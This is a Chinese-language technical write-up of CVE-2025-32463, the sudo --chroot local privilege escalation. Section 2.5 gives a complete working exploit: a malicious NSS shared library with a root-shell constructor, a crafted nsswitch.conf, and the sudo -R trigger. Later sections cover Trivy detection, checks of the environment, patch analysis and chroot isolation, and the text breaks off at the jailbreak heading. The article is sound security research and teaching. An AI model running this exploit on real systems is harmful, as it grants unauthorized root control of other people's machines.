sudo --chroot 权限提升漏洞

漏洞信息

漏洞名称: sudo –chroot 权限提升漏洞

漏洞编号:

  • CVE: CVE-2025-32463

漏洞类型: 权限提升

漏洞等级: 高危

漏洞描述: sudo是一个广泛使用的Unix和Linux系统程序,允许用户以其他用户(通常是超级用户)的权限执行命令。CVE-2025-32463漏洞存在于sudo的–chroot参数中,允许本地用户通过构造特定的环境,诱使sudo加载恶意的共享对象,从而以root权限执行任意代码。该漏洞的技术根源在于sudo在处理–chroot参数时,未正确限制用户可控的路径,导致可以加载不受信任的动态链接库。这种漏洞的影响极为严重,因为它允许任何本地用户无需任何特殊权限即可提升至root权限,完全控制系统。攻击者可以通过构造恶意的nsswitch.conf文件和动态链接库,利用sudo的–chroot功能,实现权限提升。由于sudo在大多数Unix和Linux系统中默认安装且广泛使用,该漏洞的影响范围非常广泛。

产品厂商: sudo

产品名称: sudo

影响版本: 1.9.14 <= version <= 1.9.17

来源: https://github.com/y4ney/CVE-2025-32463-lab

类型: CVE-2025:github search

仓库文件

  • .github
  • .gitignore
  • LICENSE
  • README.md
  • docker
  • image

来源概述


title: 从 CVE-2025-32463 谈及 chroot 的容器隔离安全性
date: 2025-07-30 17:07:29
tags:

0x00 前言

2025 年 6 月,sudo 被曝史诗级本地提权漏洞 CVE-2025-32463。本文用不仅提供了容器化漏洞复现环境,可一键启动漏洞环境并运行 PoC 脚本直取 root 权限;还能手把手教您攻防细节,提高个人技术水平并学习企业级别的应用防护知识。此外,本文还附赠容器底层技术原理,了解容器是如何通过 --chroot 实现根文件系统切换的?其隔离性如何?

本文是笔者在腾讯云开发者先锋(简称 TDP)的直播内容,可关注视频号【腾云先锋】查看直播回放。读完本文,您不仅能对 CVE-2025-32463 漏洞有个全面的认知,还能对容器的沙箱隔离有个初步的了解。

图 1:直播回放查看通道

0x01 背景

在开始本次分享之前,我们需要简要了解一些技术背景知识,以便在后续的漏洞解析和 chroot 安全性评估中能够更好地理解内容:

  • 什么是 sudo
  • 什么是 chroot
  • sudo--chroot 参数有何作用。

1.1 sudo 简介

sudo 的全称是“superuser do”,意思是能够以超级用户的身份执行命令。sudo 允许用户在不共享 root 密码的情况下,暂时以 root 权限执行命令并记录这些操作以方便问责。

如图 2 所示,yaney 用户可通过 sudo 命令,在执行命令时暂时将权限提升至 root,而且我们可以查看/var/log/auth.log 文件,了解 sudo 执行的命令、时间和用户等信息,这对于日志审计和攻击溯源来说是非常有用的。

图 2:sudo 的主要功能演示

1.2 chroot 简介

chroot 主要的功能就是更改当前进程的根目录。当根目录被更改后,当前进程及其子进程只能访问比新根目录层次更低的文件和目录。例如:若主机上存在以下目录和文件:

  • /some/directory/on/host/file1
  • /some/directory/on/host/dir1/file2

当我们将当前进程的根目录指向 /some/directory/on/host 时,当前进程的最高文件层级就被设置为 /some/directory/on/host ,这样一来,除了以下文件和目录,我们将无法访问其它任一文件层级:

  • /file1
  • /dir1/file2

查看 chroot 手册时,我们可以了解到:chroot 不仅可以更改根目录,还能执行命令。若没有指定命令,则默认以可交互的方式执行系统所设置的 SHELL。

图 3:chroot 的手册

如图 4 所示,当我们创建一个没有任何内容的新目录new_rootchroot 到该目录中时,无论我们是否追加命令,都会运行失败。根据报错信息,我们知道,这是因为 new_root 目录并未包含/bin/bash 文件,也无法找到 ls 等命令。为了解决这个问题,我们需要将所要运行的命令文件放在 new_root 目录中。

图 4:chroot 的主要功能演示

在 SFTP/FTP 的使用场景中,我们若想用户在文件传输期间仅能访问主目录,通常使用 chroot 将 FTP 进程的根目录设置为/home/user,以防止恶意用户访问/etc/passwd等敏感文件。

chroot不隔离内核能力、不清理环境变量、以及不屏蔽系统调用权限,导致用户仍然可以通过各种方式打破隔离,我们将本文的第三部分对 chroot 的隔离进行安全评估。

1.3 sudo 的 –chroot 参数

在大多数系统中,chroot 命令需要以 root 权限执行。若普通用户需要使用 chroot 命令,我们需要授予其 root 权限,但这严重违反了最小权限原则。当然,我们也可以通过 sudo 执行 chroot 命令(即 sudo chroot),但这仍然给予了普通用户完整的 root 权限。例如,我们可以执行下述命令 chroot 到某个目录中。

1
sudo chroot /path/to/dir /bin/bash

但实际上 chroot只是将当前进程的根目录更改为我们所设置的路径/path/to/dir,然后以 root 权限执行 /bin/bash,这样一来,我们就在新的根目录下以 root 权限执行任何命令。如果目标目录是用户控制的,风险会更大。

2020 年 9 月 29 日,sudo在 1.9.3 版本中引入了 --chroot 参数,这样一来,我们就可以将目标目录限制在单个目录中了,详情请看 sudo发版记录

图 5:sudo 的 --chroot 参数

sudo 的内置的 --chroot 功能默认不启用,我们必须在 sudoers 文件中明确启用。此外,无论 --chroot是否运行成功,sudo 都会详细记录在日志中,这对于日志审计和攻击溯源特别有用,详情请看官方博客《Using chroot and cwd in sudo》

图 6:sudo --chroot 的官方使用手册

0x02 CVE-2025-32463 漏洞解析

有了第一部分的知识回顾,现在我们就可以对 CVE-2025-32463 漏洞进行深入解析了,解析内容包括:

  • 如何对漏洞的大致情况进行简单地描述;
  • 如何快速启动漏洞环境并进行漏洞利用;
  • 如何快速验证当前环境是否受漏洞影响;
  • 如何搭建漏洞环境并一步步地进行漏洞利用;
  • 如何对公司资产进行影响面排查;
  • 如何对资产的环境进行排查;
  • 如何从源码层面分析漏洞的成因以及修复措施。

2.1 漏洞描述

2025 年 6 月 30 日,Stratascale 网络研究部门 (CRU) 的 Rich Mirchsudo 中发现了两个权限提升漏洞,均可将系统权限提升到 root 权限,分别是:

--host--chroot 都是 sudo 中不常用的参数,而本次分享我们只讨论其中的 CVE-2025-32463 漏洞,该漏洞无需定义任何 sudo 规则,即可将普通用户的权限提升至 root 权限,我们将在本文的【2.2 快速开始】中说明,如何一键启动漏洞环境,并使用其中的 PoC 脚本快速提权。

根据最初的安全公告数据,已明确得知 sudo的 1.9.14 至 1.9.17 版本均受其影响,但并非所有版本都经过测试。我们将在本文的【2.3 漏洞验证】中说明,如何快速验证漏洞是否存在。

此外,我们将在本文的【2.4 环境搭建】和【2.5 漏洞利用】中实操一遍攻击流程:

  • 攻击者自定义/etc/nsswitch.conf配置文件内容,诱导 sudo 加载指定根目录下的恶意动态链接库;
  • 然后使用 sudo--chroot 参数切换到 chroot 环境,自动加载恶意动态链接库,从而实现以 root 权限执行任意命令。

该漏洞已在 1.9.17p1 中得到了修复,因此请安装sudo 1.9.17p1 或更高版本。我们会在【2.6 影响面排查】中详细说明,如何快速对各种企业资产进行影响面排查,以及常见的误区是什么。

若影响面排查无法生效,那么我们需要对当前环境进行排查,详情请看【2.7 环境排查】。若这些内容对于您来说太简单了,并且还想对漏洞进行深入的分析和研究,我们将在【2.8 源码分析】中进行详细说明。

2.2 快速开始

如图 7 所示,为了方便所有人都可以一键进行漏洞复现,不用担心环境的问题。我已经将漏洞环境和 PoC 打包成容器镜像,方便大家操作。

图 7:受漏洞影响的容器镜像环境

镜像共有debsource 两个版本,其中 deb 版本的 sudo 是基于 deb 包安装的,source 版本的 sudo是基于源码自行构建的。这两个版本的漏洞复现效果都相同,我们随意拉取其中一个即可。

  1. 随意拉取其中一个版本的镜像到本地运行;

    1
    docker run -it --rm y4ney/cve-2025-32463-lab:source bash
    1
    docker run -it --rm y4ney/cve-2025-32463-lab:deb bash
  2. 执行工作目录下的 PoC 脚本。该脚本可以追加任何命令,若不追加任何命令,则默认打开一个交互式的 bash

    1
    2
    ./sudo-chwoot.sh id
    ./sudo-chwoot.sh
  3. 由于我们在启动容器的时候添加了 --rm 参数,所以使用 exit 退出容器环境中过后,容器会自动销毁。若要删除镜像,执行下述命令即可。

    1
    docker rmi y4ney/cve-2025-32463-lab:source
    1
    docker rmi y4ney/cve-2025-32463-lab:deb

图 8:漏洞利用流程

若要自行构建镜像,详情请看我刚刚创建的项目CVE-2025-32463-lab的 README,该镜像 fork 自 pr0v3rbs/CVE-2025-32463_chwoot 项目,进行了一定地改造。

图 9:CVE-2025-32463-lab 项目描述

2.3 漏洞验证

我们可以通过执行下述命令,切换到一个不存在的目录中并执行一个不存在的命令,来快速验证漏洞是否存在。如图 10 所示,我们可以执行 sudo -R hacker hacker命令来判断漏洞是否存在:

  • 若当前的sudo 的版本为受影响版本 1.9.15p5-3ubuntu5,那么命令执行报错;
  • 若当前的sudo的版本为不受影响版本1.9.15p5-3ubuntu5.24.04.1,那么命令执行过后,会要求我们输入用户密码。
1
sudo -R /does/not/exist fakecmd fakecmd

图 10:漏洞验证流程

2.4 环境搭建

接下来,我们手把手教学:如何通过容器快速搭建漏洞环境。本次漏洞复现将在 ubuntu24.04 容器镜像中完成。执行下述命令,马上开启我们的旅程吧。

1
docker run -it --rm ubuntu:24.04 bash

为了保持精简,Ubuntu、Debian 和 Alpine 等多种基础镜像都不预装 sudo,且aptyum等系统包管理工具安装的 sudo 可能会被二次修改(例如打上了安全补丁、禁用了某些选项等),这可能导致漏洞无法复现或者是行为不一致。

所以我们需要基于源码,自行构建并安装一个受影响版本的sudo。此外,还需要创建一个用于安全测试的普通用户,例如 yaney。具体步骤如下:

  1. 安装 sudo 依赖库、编译工具链和源码下载工具;

    1
    2
    apt-get update
    apt-get install -y wget ca-certificates build-essential pkg-config libpam0g-dev libselinux1-dev zlib1g-dev libssl-dev
    • 源码下载工具:用于从官网获取sudo 源码并通过 HTTPS 安全下载。包括:wget,ca-certificates
    • 编译工具链:用于从源码构建 sudo,包括编译器、构建系统和依赖检测工具。包括:build-essentialpkg-config
    • sudo 依赖库:提供认证、安全上下文、压缩和加密等sudo 所需的基础功能支持。包括:libpam0g-dev,libselinux1-dev,zlib1g-dev,libssl-dev
  2. 清理 apt 缓存,减小镜像体积;

    1
    rm -rf /var/lib/apt/lists/*
  3. 切换到/opt 目录,该目录一般用于存放第三方源码或程序,非常适合存放 sudo 的源码。然后下载并解压sudo的源代码压缩包(版本为1.9.16p2);

    1
    2
    3
    cd /opt
    wget https://www.sudo.ws/dist/sudo-1.9.16p2.tar.gz
    tar xzf sudo-1.9.16p2.tar.gz
  4. 编译并安装 sudo

    1
    2
    3
    4
    5
    6
    7
    cd sudo-1.9.16p2 
    # 预编译。不启用 libgcrypt 支持,构建完成后将程序安装到 /usr 目录下。
    ./configure --disable-gcrypt --prefix=/usr
    # 编译
    make
    # 安装
    make install
  5. 新创建一个普通的安全测试用户并切换,例如yaney

    1
    2
    useradd -m -s /bin/bash yaney
    su yaney
    • -m:自动创建用户的 home 目录/home/yaney
    • -s /bin/bash:指定默认 SHELL 为 bash

2.5 漏洞利用

准备好环境过后,我们就可以快速进行漏洞利用了,这个过程非常简单,让我们来试一试吧。

步骤一:准备攻击环境
  1. 创建一个用于构造攻击环境的临时目录,这个临时目录在使用结束过后,系统会自行删除。需要注意的是:XXXXXX是特殊标记,告诉mktemp将其替换成随机字符(通常是 6 个字母/数字)。所以我们进入该目录的时候,XXXXXX需要替换成实际的字符串;

    1
    2
    mktemp -d /tmp/sudochroot.stage.XXXXXX
    cd /tmp/sudochroot.stage.XXXXXX
  2. 写入带有构造函数hacker的 C 代码,实现一旦加载就提权执行(libnss 插件)。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    cat > hacker.c <<EOF
    #include <stdlib.h>
    #include <unistd.h>

    __attribute__((constructor)) void hacker(void) {
    setreuid(0,0);
    setregid(0,0);
    chdir("/");
    execl("/bin/sh", "sh", "-c", "/bin/bash", NULL);
    }
    EOF

    • 攻击脚本需要包含构造函数__attribute__((constructor)),与主函数main()需要手动触发不一样,构造函数在共享库被加载时就会自动执行。这样我们后续编译的.so文件在被加载时就能直接运行恶意代码了;
    • 将有效 UID/GID 和真实 UID/GID 都设置为 0,即切换到root 用户。之所以这么设置,是因为一些系统调用或者操作仍然依赖于有效 UID/GID 或真实 UID/GID 是为 0;
    • 切换当前工作目录到/,避免当前目录被删、影响 shell 工作;
    • 重新打开一个新的 bash
步骤二:构造 chroot 文件系统结构
  1. 创建攻击目录结构;

    1
    mkdir -p hacker/etc libnss_
    • hacker/etc 用来存放后续所说的 nsswitch.conf文件 和 group 文件。若--chroothacker 文件夹中,那么这些文件路径将被解析为寻常模式,即:
      • hacker/etc/nsswitch.conf就被解析为/etc/nsswitch.conf
      • hacker/etc/group 就被解析为/etc/group
    • libnss_ 用来存放 hacker.c 所编译好的恶意动态链接库。
  2. 创建 nsswitch.conf文件,配置加载我们自定义的 NSS 模块,即 --chroot若要解析用户信息(passwd),需要加载名为 hacker 的 NSS 模块;

    1
    echo "passwd: /hacker" > hacker/etc/nsswitch.conf
  3. 拷贝一份 group 文件以避免 NSS 报错。

    1
    cp /etc/group hacker/etc
步骤三:构造并命名恶意共享库

使用gcc -shared -fPIC编译带构造函数的共享库hacker.c,输出为libnss_/hacker.so.2,匹配passwd: /hacker 的模块路径拼接逻辑。

1
2
gcc -shared -fPIC -Wl,-init,hacker -o libnss_/hacker.so.2 hacker.c

  • -shared:编译为共享对象(即.so 动态链接库)而不是可执行文件;
  • -fPIC:生成与位置无关的代码,是编译动态库时必须加的;
  • -Wl,-init,hacker:告诉链接器,当动态库被加载时,自动调用hacker() 函数;
  • -o libnss _/hacker.so.2:输出文件名为libnss_/hacker.so.2
  • hacker.c:源代码文件,定义了void hacker(void) 函数。
步骤四:触发漏洞执行提权

使用sudo -R进入 chroot 环境,并在 chroot 环境中执行/bin/bash,同时触发 glibc初始化 NSS,自动加载我们刚刚构造的恶意共享库libnss_/hacker.so.2并进行提权。

1
sudo -R hacker /bin/bash

图 11:漏洞利用流程

2.6 影响面排查

sudo 是大多数主机都会安装的软件包,如果公司资产包含了 sudo,那么我们该如何进行影响面排查呢?研究过云原生安全的同学应该都听说过一款镜像安全工具:Trivy。Trivy 拥有非常强大的功能,我们这里使用的是它的漏洞扫描功能。

图 12:使用 Trivy 进行影响面排查

若需要扫描的是镜像,那么我们使用image子命令即可。Trivy 拥有多种扫描器,为了快速得到结果,我们仅开启了漏洞扫描器vuln

1
trivy image <image-name> --scanners vuln

Trivy 已经探测出 y4ney/cve-2025-32463-lab:source 的操作系统是 ubuntu:24.04,并且识别出了 226 个系统层软件包,这些系统层软件包共包含 870 个漏洞;且镜像并未被识别出应用层依赖库,因此不包含应用层的漏洞。

图 13:使用 Trivy 对 y4ney/cve-2025-32463-lab:source 镜像进行扫描

若对镜像y4ney/cve-2025-32463-lab:deb进行扫描,则被识别出了 168 个系统层软件包和 857 个漏洞。

图 14:使用 Trivy 对 y4ney/cve-2025-32463-lab:deb 镜像进行扫描

执行下述命令,我们发现:y4ney/cve-2025-32463-lab:source 并未扫描出 CVE-2025-32463 漏洞,而y4ney/cve-2025-32463-lab:deb 却可以扫描出 CVE-2025-32463 漏洞。造成这种关键差异的原因是什么呢?我们再了解一些知识,后续再详细分析其原因。

1
trivy image <image-name> --scanners vuln --format json --quiet | jq '.Results[].Vulnerabilities[]'| grep CVE-2025-32463

图 15:两类镜像中 CVE-2025-32463 漏洞的扫描情况

Trivy 主要是通过版本比对来识别软件包中的漏洞,因此这些漏洞不一定都需要进行修复。我们需要考虑的因素包含方方面面,例如:

  • 漏洞的威胁等级并未达到高危、甚至超危;
  • 漏洞的威胁等级并不等于它的风险等级;
  • 包含漏洞的软件包可能并未被使用到,因此漏洞不具备可达性;
  • 强行修复系统层软件包,可能会导致依赖它的应用崩溃;
  • 并非所有的漏洞都拥有修复补丁,让我们进行升级;
  • ……

若直接对 ubuntu 官方最新的镜像进行漏洞扫描,我们都会发现:尽管是不包含任何第三方内容的官方最新镜像,也不会是完全不包含漏洞的,那么基于这些基础镜像构建的镜像,我们怎么能要求它们不能包含任何漏洞呢?

图 16:ubuntu 最新的官方漏洞也包含部分漏洞

目前业界没有完全公开的特别好的工程化方案和案例,让我们基于风险对这些漏洞进行重定级、降噪以及自动化修复。去年,我在 CCS 大会上对这方面的问题进行了探讨,但方案还未走出实验室,进行企业级别的落地,大家可以酌情参考参考。相关内容请查看《金融科技中的容器安全:基于 eBPF 和 WASM 的漏洞降噪技术》

图 17:金融科技中的容器安全:基于 eBPF 和 WASM 的漏洞降噪技术

若需要扫描的是主机,我们可以使用 Trivy 的 rootfs子命令。其实主机漏洞扫描和镜像漏洞扫描的原理和实现方式大同小异,唯一的区别就是:容器镜像的漏洞扫描首先需要对镜像文件进行解压缩的操作,而主机漏洞扫描则不需要。主机漏洞扫描和镜像漏洞扫描后续同样需要进行相同的目录遍历、关键文件读取以及软件包信息解析等系列的操作,然后再通过版本比对的方式完成漏洞扫描。

1
trivy rootfs / --scanners vuln

若我们无法使用工具进行扫描,还可以利用 Trivy 的漏洞库快速查询到漏洞的影响范围。Trivy 的漏洞库是基于 Boltdb 实现的,Boltdb 是 Etcd 等中间件所选用的数据库。如图 18 所示,我们可以从 trivy 的缓存路径中找到其漏洞库文件trivy.db

图 18:查找 Trivy 漏洞库路径

与常见的数据库不一样的是,Boltdb 数据库的使用体验不佳,无法使用 SQL 语句进行查询和编辑,我们需要编写 Golang 代码来进行更高级的操作。当然,也有封装得不错的工具,如图 19 所示,我们可以使用 bboltEdit 查看和编辑 Boltdb 数据库文件。

图 19:使用 bboltEdit 查看 trivy 的漏洞库

但是该工具还是无法满足我们的需求,那就是:快速定位某 CVE 漏洞的影响范围。这里,我们再推荐一个可将 BoltDB 形式的 Trivy 漏洞库转化为 MySQL、SQLite 和 Postgres 这些常见的数据库类型的工具:trivy-db-to

trivy-db-to 默认将各供应商的安全公告数据都整合在一张名为 vulnerability_advisories的表中,而 Trivy 就是利用这些安全公告数据进行版本比对,然后再使用 vulnerability 表的数据来补充漏洞描述、威胁等级和参考链接等详细信息。

因此,我们只需要在vulnerability_advisories中查询 CVE 编号为 CVE-2025-32463 即可。如图 20 所示,该漏洞的影响范围不仅和操作系统类型和版本有关,所影响的软件包名称和修复版本都会有所不同,因此,我们需要进行仔细地甄别。

图 20:CVE-2025-32463 的影响范围

回到之前的问题,为什么 y4ney/cve-2025-32463-lab:source镜像无法扫描出 CVE-2025-32463 漏洞呢?我们从两方面进行排查:

  1. Trivy 的漏洞库中是否指明了 ubuntu:24.04 镜像受该漏洞影响,且软件包名称和修复版本是多少?
  2. Trivy 是否识别出了 sudo 系统层软件包及其版本?

经过查询,第一个问题的答案是 YES,那么我们来排查第二个问题。如图 21 所示,我们发现y4ney/cve-2025-32463-lab:source并未被识别出 sudo 软件包,因此无法扫描出 CVE-2025-32463 漏洞。

1
trivy image <image-name> --scanners vuln --list-all-pkgs --format json --quiet | jq '.Results[].Packages[]' | grep sudo

图 21:两类镜像中 sudo 软件包的识别情况

前面我们说了,Trivy 会对镜像文件进行解压缩操作,然后遍历目录、读取关键文件并解析出软件包信息,这些操作均由同一团队的Fanal 容器静态分析库完成,但是该项目于 2022 年 6 月 22 日已经归档,并作为 Trivy 的一部分进行维护和更新。

图 22:fanal 项目描述

查看 Trivy 中的 Fanal 源码,我们发现:Trivy 主要依赖解析 apk、dpkg 和 rpm 等系统层软件包管理工具来识别系统层软件包的。而我们通过 apt 安装sudo 时,所使用的底层工具是 dpkg。所以 Trivy 是通过识别 dpkg 一系列配置文件和目录来识别出软件包信息的,包括 sudo

图 23 trivy 关于 dpkg 软件包解析的源码实现

y4ney/cve-2025-32463-lab:deb镜像正式通过 dpkg 安装的 sduo,因此可以识别出 CVE-2025-32463 漏洞。而y4ney/cve-2025-32463-lab:source 镜像的sudo是通过 make 自编译而来的,因此无法识别出漏洞。

图 24:两类镜像中不同的 sudo 安装方式说明

这也是 Trivy 官方文档中指出的问题:Trivy 不支持第三方(或自编译)的软件包和二进制文件,但支持 Red Hat 和 Debian 等供应商提供的官方包。

图 25:Trivy 不支持第三方(或自编译)的软件包和二进制文件

这是 Trivy 工具的局限吗?我反而认为这是大多数漏洞扫描工具的局限,例如:当我们打开 Docker Hub 的 Scout 功能时,它也仅能识别出y4ney/cve-2025-32463-lab:deb镜像中的 sudo 软件包和 CVE-2025-32463 漏洞。

图 26:Docker Hub 的 Scout 功能和 Trivy 的扫描结果一致

因此,为了避免类似的漏报事故发生,我们只能从 DevOps 中规范开发者和运维人员的操作,来提高软件供应链的透明度,即:避免使用第三方的(或自编译的)软件包和二进制文件。

如图 27 所示,在 CentOS 7 中漏洞复现失败。我们再次回顾图 20 查询结果,发现该漏洞所影响范围并未包括 CentOS 7,因此 CentOS 7 不受该漏洞的影响。

图 27:CentOS 7 中无法进行漏洞复现

查看RedHat 的安全公告数据,RedHat 告诉我们:由于受影响的版本范围有限,此漏洞不会影响 RHEL-9 或任何更早版本的 RHEL。因此,Openshift 也不会受到此漏洞的影响。

图 28:RedHat 关于 CVE-2025-32463 的安全公告

需要提示的是,漏洞的威胁等级还与供应商有关。如图 29 所示,Azure 和 cbi-mariner 都认为该漏洞的威胁等级为超危,但是 amazon 和 ubuntu 等供应商认为该漏洞的威胁等级为高危。那么我们该听谁的呢?

图 29:不同供应商对 CVE-2025-32463 有不同的安全定级

前面我们说了,这些操作系统供应商会对 sudo 进行二改和维护,因此他们还会基于操作系统的特性,对漏洞进行重定级。所以我们应该优先参考供应商所定义的威胁等级,再参考 NVD 等标准漏洞库所定义的安全等级,Trivy 也会根据这种思路自动为漏洞选择一个对应的威胁等级。

这是我能想到的在影响面排查中,常见的误区。最后,我已经 fork 了一份 trivy-db-to,并对其进行了二改。y4ney/trivy-db-to 不仅优化了日志的输出,还转化了数据源的数据,大家可以通过 data_source 表查看 trivy 的漏洞数据源。

图 30:y4ney/trivy-db-to 的执行结果

图 31:y4ney/trivy-db-to 导出的漏洞数据源

2.7 环境排查

除了升级 sudo 版本,目前尚无其他有效的缓解措施。由于 sudo 在解析命令时存在缺陷,允许用户自定义 chroot 目录的机制容易引发错误,且该功能在实际中并不常用。从 sudo 1.9.17p1 起,--chroot 参数已被弃用,并计划在后续版本中彻底移除。

若无法通过版本比对的方式对影响面进行排查,建议对当前环境进行全面排查,确保未使用存在安全风险的 chroot 配置,以及避免继续使用该参数,因为如果实现不当,可能会无意中降低系统安全性。相关措施如下所示:

  • 搜索任何使用chroot的情况。检查/etc/sudoers文件以及/etc/sudoers.d目录下的所有规则。如果 sudo 规则存储在 LDAP 中,可使用如ldapsearch 等工具导出规则进行审查。
  • 查找规则中是否使用了runchroot=选项或CHROOT= 指令。
  • 还可以在系统日志中搜索 sudo 相关条目。任何使用了chroot的命令都会以CHROOT= 字样记录在日志中。

2.8 源码分析

2013 年 6 月 28 日,sudo 在 1.9.14 版本的一项更改给未来引入了巨大的隐患:当在 sudoers 中指定了 chroot 时,改进了命令匹配的方式。现在,sudoers 插件会在进行命令匹配之前,根据需要先切换根目录。此前的做法是仅在处理路径时将 chroot 路径简单地添加为前缀。

图 32:sudo 1.9.14 中引发漏洞的更改记录

问题出在允许非特权用户对其可控的、可写的、不受信任的路径调用chroot()。无论用户是否配置了相应的 sudo 规则,sudo 都会多次调用chroot()。允许低权限用户以 root 权限对可写位置执行chroot()会带来多种安全风险。许多应用程序(例如 SSH)都明确防范这种情况。例如,如果目标位置不是由 root 拥有,SSH 将拒绝执行chroot()

pivot_root()unpivot_root()函数定义在plugins/sudoers/pivot.c中,用于处理chroot相关的逻辑。在这两个函数调用之间,会触发名称服务切换(NSS)操作,导致系统从不受信任的环境中加载/etc/nsswitch.conf 配置文件。该文件包含指令,用于告诉系统如何获取用户、用户组和主机的信息。可以列出多个信息源,系统会按顺序搜索,直到找到匹配项为止。

图 33:sudo 的 pivot_root() 和 unpivot_root() 函数实际上直接使用了 chroot

在 Linux 系统中,nsswitch.conf 文件控制了系统如何查询用户、组等信息。下述文件内容表示系统会用filesldap 两种方式来查找用户信息。

1
passwd: files ldap

如图 11 所示,我们之所以在 创建一个和 hacker 在同一级目录的 libnss_ 目录,是因为恶意库是在代码退出 chroot 后加载的,且glibc(C 标准库)内部的 NSS 加载逻辑是硬编码的,它要求:所有 NSS 模块的名字格式必须是libnss_<source>.so.<version>

图 34:glibc 内部的 NSS 加载逻辑是硬编码的

我们在自定义 NSS 模块名时必须有/ ,是因为连接的名称传递给dlopen时,dlopen 会将 / 解析为(相对或绝对)路径名。从而到我们自定义的目录中加载恶意动态链接库。

图 35:dlopen 会将  /  解析为(相对或绝对)路径名

正因如此,任何本地用户都可以诱使 sudo 加载任意的共享对象,从而以 root 权限执行任意代码。下面的调用栈显示了一个被 sudo 加载的恶意共享对象(为简洁起见,内容已被大幅精简)。

由于这种行为,任何本地用户都可以诱使 sudo 加载任意的共享对象,从而实现以 root 权限执行任意代码。官方所提供的调用栈显示了 sudo 加载的恶意共享对象(为简洁起见,该栈信息已被大量精简)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#0  0x0000763a155db181 in woot () from libnss_/woot1337.so.2
#1 0x0000763a1612271f in call_init
#8 0x0000763a1612a164 in _dl_open (file="libnss_/woot1337.so.2",
#14 0x0000763a15f53a0f in module_load
#15 0x0000763a15f53ee5 in __nss_module_load
#17 0x0000763a15f5460b in __GI___nss_lookup_function
#19 0x0000763a15f50928 in __GI___nss_passwd_lookup2
#20 0x0000763a15f62628 in __getpwnam_r
#21 0x0000763a15d59ae8 in pam_modutil_getpwnam
#27 0x0000763a15d58d99 in pam_acct_mgmt
#28 0x0000763a1577e491 in sudo_pam_approval
#29 0x0000763a157ce3ef in sudo_auth_approval
#30 check_user.constprop.0
#32 0x0000763a15799143 in sudoers_check_cmnd
#33 sudoers_policy_check
#34 0x00005ba00874b491 in policy_check
#35 main

补丁本质上回退到了 sudo 1.9.14 中实现的更改。pivot_root()unpivot_root()函数被移除,并且在命令匹配阶段不再调用chroot()。应用补丁后,漏洞利用将失败,因为不再调用chroot()

图 36:CVE-2025-32463 的补丁

0x03 chroot 的安全隔离性评估

前面我们发现,sudo--chroot 参数的实现函数名称虽然是pivot_root(),但实际上是直接调用了chroot 来实现的。由于海报宣传我们不仅需要了解容器实现的底层原理,还需要评估 chroot 的安全隔离性。最后,让我们:

  • 通过在 ubuntu 主机上运行 Alpine 来解释容器实现的底层原理;
  • 学习 chroot常见的两个风险:不清理环境变量和 chroot 越狱;
  • 现代容器实现根目录切换的技术。

3.1 实验:在 ubuntu 主机上运行 Alpine

众所周知,容器其实只是宿主机上一个特殊的进程,当我们创建一个容器时,这个容器、也就是这个进程的根(root)目录就会被更改。所以在容器内部,我们是看不到完整的宿主机的文件系统的。接下来,我们做一个小实验,那就是:通过使用chroot 在宿主机上运行 Alpine。

容器是镜像实例化的结果,所以镜像需要封装容器所需要的文件系统,若该文件系统没有所要运行的可执行文件,那么容器将无法找到并运行它们。

  1. 根据系统架构,到官网下载一个特定版本的最小化根文件系统,并保存为 alpine.tar.gz 压缩包。这里以 v3.9 版本为例进行说明。

    1
    arch=$(uname -m); curl -o alpine.tar.gz http://dl-cdn.alpinelinux.org/alpine/v3.9/releases/$arch/alpine-minirootfs-3.9.0-$arch.tar.gz
  2. 创建一个新目录,作为 alpine 的根目录,并将压缩包解压至新的根目录中,这样我们就可以得到一个最小化的 Linux 发行版文件系统了。由于压缩包的 /dev 目录包含一些设备文件等特殊文件,所以tar 在解压过程中会报错。在这里,暂时使用 --exclude='./dev/*' 来忽略这些文件即可。

    1
    2
    mkdir alpine
    tar --exclude='./dev/*' -xvf alpine.tar.gz -C alpine
  3. 由于 Alpine 发行版不包含 bash ,所以不指定任何命令,直接执行 chroot 命令会报错。但如果我们在包含 bash 的 Linux 发行版(例如 ubuntu)中执行同样的操作就会成功。在这里,执行 chroot 命令时,指定 sh 即可解决问题。

图 37:在 ubuntu 主机上运行 Alpine Linux 系统

如图 37 所示,alpine 中的内容看起来就像是一个 Linux 文件系统的根目录,其中包含了 binlibvartmp 等目录。通过使用 chroot 命令过后,我们就可以在主机上运行一个简单的 Alpine 了。其实这也正是容器所做的事情,然而 chroot 背后所做的事情比想象中的要稍微复杂一些,这里我们就不展开进行说明了。

稍微总结一下,chroot 主要的功能就是更改当前进程的根目录。当根目录被更改后,当前进程及其子进程只能访问比新根目录层次更低的文件和目录。但是 chroot命令不隔离内核能力、不清理环境变量、以及不屏蔽系统调用权限,导致用户在仍然可以通过各种方式“打破沙箱”。

3.2 风险一:环境变量

首先,我们来回答刚刚遗留的一个问题:如图 37 所示,为什么执行chroot不追加命令会运行失败。那是因为,当我们执行chroot 命令时,只是改变了当前进程的路径解析过程,chroot 的子进程仍会继承父进程的环境变量。

例如,我可以在主机上设置环境变量 NAME 的值为 Yaney ,然后使用 chroot 切换到 Alpine 的文件系统中,接着我们就会发现:环境变量 NAME 已被继承。

图 38:chroot 不会清理环境变量

正如 chroot 的手册所说的那样,若我们没有追加任何命令,那么它会使用 $SHELL 的值。如图 39 所示,$SHELL 的值在我们的 Ubuntu 主机上已经被设置为 /bin/bash 了,chroot 的子进程会继承这个环境变量,继续寻找/bin/bash ,但 Alpine 并没有这个文件,所以命令执行失败。

图 39:chroot 环境会继承原来的 $SHELL 和 $PATH,因此无法找到对应的文件

此外,若我们想执行 ls 等常见的可执行文件,也无需显示地指定其路径。因为在主机和 chroot 环境中,PATH 的值并未被改变。只不过在 chroot 环境中,alpine 根目录中的 bin 目录被解析成了新进程的 /bin 目录,该目录已包含了 ls 等常见的可执行文件,

图 40:Alpine 的 chroot 环境中存在的文件

需要注意的是,只有子进程才会获得新的根目录,在图 41 的例子中,指的是运行 lsshcat 这些进程。只有执行 exit 结束 sh 进程后,控制权才会返还给父进程。

图 41:只有退出 chroot 环境,控制器才会返回给父进程

从上面的例子中,我们发现 chroot 只会改变路径解析过程,而不会做其它任何事情,因此它不适合沙箱化一个进程,因为它也不会限制文件系统的系统调用。这也是《chroot(2) — Linux manual page》明确指出的事情。

图 42:chroot 不适合完全沙箱化一个进程

3.3 风险二:chroot 越狱

